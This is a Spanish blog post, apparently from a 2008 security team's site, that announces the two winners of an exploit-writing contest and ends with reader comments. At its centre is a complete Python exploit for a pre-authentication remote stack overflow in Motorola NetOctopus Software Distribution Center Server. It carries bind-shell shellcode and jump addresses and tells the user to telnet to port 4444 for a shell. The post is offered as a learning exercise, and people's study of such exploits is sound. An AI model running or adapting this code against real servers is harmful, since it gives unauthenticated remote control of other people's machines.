Random IRC quote :      <madalenasbuenas> ni que for(a=gido)

Ya tenemos 2 ganadores del Exploit4Food #1

Bueno pues ya hay ganadores del concurso que propusimos hace un par de semanas.Miguel “el potro de Moyua” y Tora “dedos mágicos” han sido los dos únicos que han enviado soluciones. Cada una de ellas con su punto fuerte. Los dos han elegido explotar una vulnerabilidad de una forma más complicada de la que en principio se había propuesto para el concurso, pero desde luego que de esta manera es mucho más instructiva y demuestra lo máquinas que están hechos.

Miguel, aunque más parco en explicaciones que Tora, se codeó a pelo la implementación de blowfish ya que no se paró a buscar si podía ser alguno conocido. Por otro lado Tora ha explicado de pé a pá todos y cada uno de los pasos que ha seguido para explotar la vulnerabilidad, las razones de seguir un camino u otro y las herramientas usadas. En conjunto, merece la pena que echéis un vistazo detenidamente a las soluciones planteadas porque son la pera.

Solución Miguel – Download

Solución Tora – Download

Lo prometido es deuda, los ganadores disfrutarán de un bocadillo de nocilla reserva del 82.

También avisar que para la próxima semana propondremos otro, también en software real, pero en este caso para los “kerneleros”, así que id sacando brillo al windbg…

Por último os dejamos un exploit más simple para los que se pierdan un poco con lo otro.

#!/usr/bin/python  

"""
Motorola DCS Exploit – #48bits Exploit4Food Challenge
Ruben "
Gilipipas" Santamarta
"
""  

import sys
import socket  

if len(sys.argv)<2 :
    print "usage: exploit.py ip"
else:  

    print "\n\n.: Motorola NetOctopus Software Distribution Center Server :.\n"
    print ":: Remote Stack Overflow -PreAuth- ::\n\n"  

    print "Attacking "+sys.argv[1]+":3814…\n"
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((sys.argv[1], 3814))
    s.send("\x00\x00\x00\x01\x00\x00\x00\x01"       #   Packet Header
           +"\x00\x00\x00\x01\x00\x00\x00\x01"      #   Packet Header
           +"\x00\x00\x00\x03\x00\x00\x00\x05"      #   Overflow Size 0x300
           +"\x90\x90\x90\x90"                      #   Padding "nops"
           +"\x29\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xcb"  #   Shellcode BindShell
            "\x2a\x94\x22\x83\xeb\xfc\xe2\xf4\x37\x40\x7f\x6f\x23\xd3\x6b\xdd"
            "\x34\x4a\x1f\x4e\xef\x0e\x1f\x67\xf7\xa1\xe8\x27\xb3\x2b\x7b\xa9"
            "\x84\x32\x1f\x7d\xeb\x2b\x7f\x6b\x40\x1e\x1f\x23\x25\x1b\x54\xbb"
            "\x67\xae\x54\x56\xcc\xeb\x5e\x2f\xca\xe8\x7f\xd6\xf0\x7e\xb0\x0a"
            "\xbe\xcf\x1f\x7d\xef\x2b\x7f\x44\x40\x26\xdf\xa9\x94\x36\x95\xc9"
            "\xc8\x06\x1f\xab\xa7\x0e\x88\x43\x08\x1b\x4f\x46\x40\x69\xa4\xa9"
            "\x8b\x26\x1f\x52\xd7\x87\x1f\x62\xc3\x74\xfc\xac\x85\x24\x78\x72"
            "\x34\xfc\xf2\x71\xad\x42\xa7\x10\xa3\x5d\xe7\x10\x94\x7e\x6b\xf2"
            "\xa3\xe1\x79\xde\xf0\x7a\x6b\xf4\x94\xa3\x71\x44\x4a\xc7\x9c\x20"
            "\x9e\x40\x96\xdd\x1b\x42\x4d\x2b\x3e\x87\xc3\xdd\x1d\x79\xc7\x71"
            "\x98\x79\xd7\x71\x88\x79\x6b\xf2\xad\x42\x85\x7e\xad\x79\x1d\xc3"
            "\x5e\x42\x30\x38\xbb\xed\xc3\xdd\x1d\x40\x84\x73\x9e\xd5\x44\x4a"
            "\x6f\x87\xba\xcb\x9c\xd5\x42\x71\x9e\xd5\x44\x4a\x2e\x63\x12\x6b"
            "\x9c\xd5\x42\x72\x9f\x7e\xc1\xdd\x1b\xb9\xfc\xc5\xb2\xec\xed\x75"
            "\x34\xfc\xc1\xdd\x1b\x4c\xfe\x46\xad\x42\xf7\x4f\x42\xcf\xfe\x72"
            "\x92\x03\x58\xab\x2c\x40\xd0\xab\x29\x1b\x54\xd1\x61\xd4\xd6\x0f"
            "\x35\x68\xb8\xb1\x46\x50\xac\x89\x60\x81\xfc\x50\x35\x99\x82\xdd"
            "\xbe\x6e\x6b\xf4\x90\x7d\xc6\x73\x9a\x7b\xfe\x23\x9a\x7b\xc1\x73"
            "\x34\xfa\xfc\x8f\x12\x2f\x5a\x71\x34\xfc\xfe\xdd\x34\x1d\x6b\xf2"
            "\x40\x7d\x68\xa1\x0f\x4e\x6b\xf4\x99\xd5\x44\x4a\x24\xe4\x74\x42"
            "\x98\xd5\x42\xdd\x1b\x2a\x94\x22"
            +"\x90"*0x33    #   padding
           +"\xE9\x70\xFE\xFF\xFF"  # Jump to shellcode
           +"\x90"*0x75     #   padding
           +"\x90\x90\x74\x82"  # Jump to "Jump to shellcode"
           +"\xDA\x03\x43\x00"*0xD) # Trampoline address (main module)
    s.close()
    print "Done\n"
    print "Bind shell => telnet "+sys.argv[1]+" 4444\n"

4 Comentarios para “Ya tenemos 2 ganadores del Exploit4Food #1”

  1. Comment por Julio | 05/27/08 at 7:17 pm

    El link de descarga de las soluciones no están funcionando.

  2. Comment por Mario Ballano | 05/28/08 at 2:04 am

    Enhorabuena a los premiados!!,

    He arreglado los links, ya podeis descargarlos,

    Un saludo,

    Mario

  3. Comment por Miguel | 05/28/08 at 4:09 am

    A los buenos dias!

    Felicidades Tora. Un trabajo excelente. Esta todo explicado con sumo detalle y la verdad es que da gusto leer las explicaciones y además el exploit está perfecto. Un 10

    Yo decidi explotar el oveflow que se produce durante la desencriptacion pensando que alguien implementaria la vulnerabilidad evidente, y al final hemos acabado explotando los dos la misma vulnerabilidad!

    jajaja

  4. Comment por Tora | 05/28/08 at 4:52 am

    Gracias Miguel, yo me voy a leer ahora el tuyo. Es muy instructivo leer una solución diferente a un mismo problema ;D

    La verdad es que mientras le daba un vistazo al software, algunas de las secuencias size=recv(4) + recv(size) tenían muy mala pinta. Aunque había más posibilidades, no me pude resistir a una shellcode cifrada… me recordaba mucho al HFD de la Defcon

    Lo de Tora «dedos mágicos» me ha encantado. Me lo apunto para soltarlo un sábado por la noche ;P

    Estaremos atentos al próximo, aunque siendo del kernel no sé no sé…

Se han cerrado los comentarios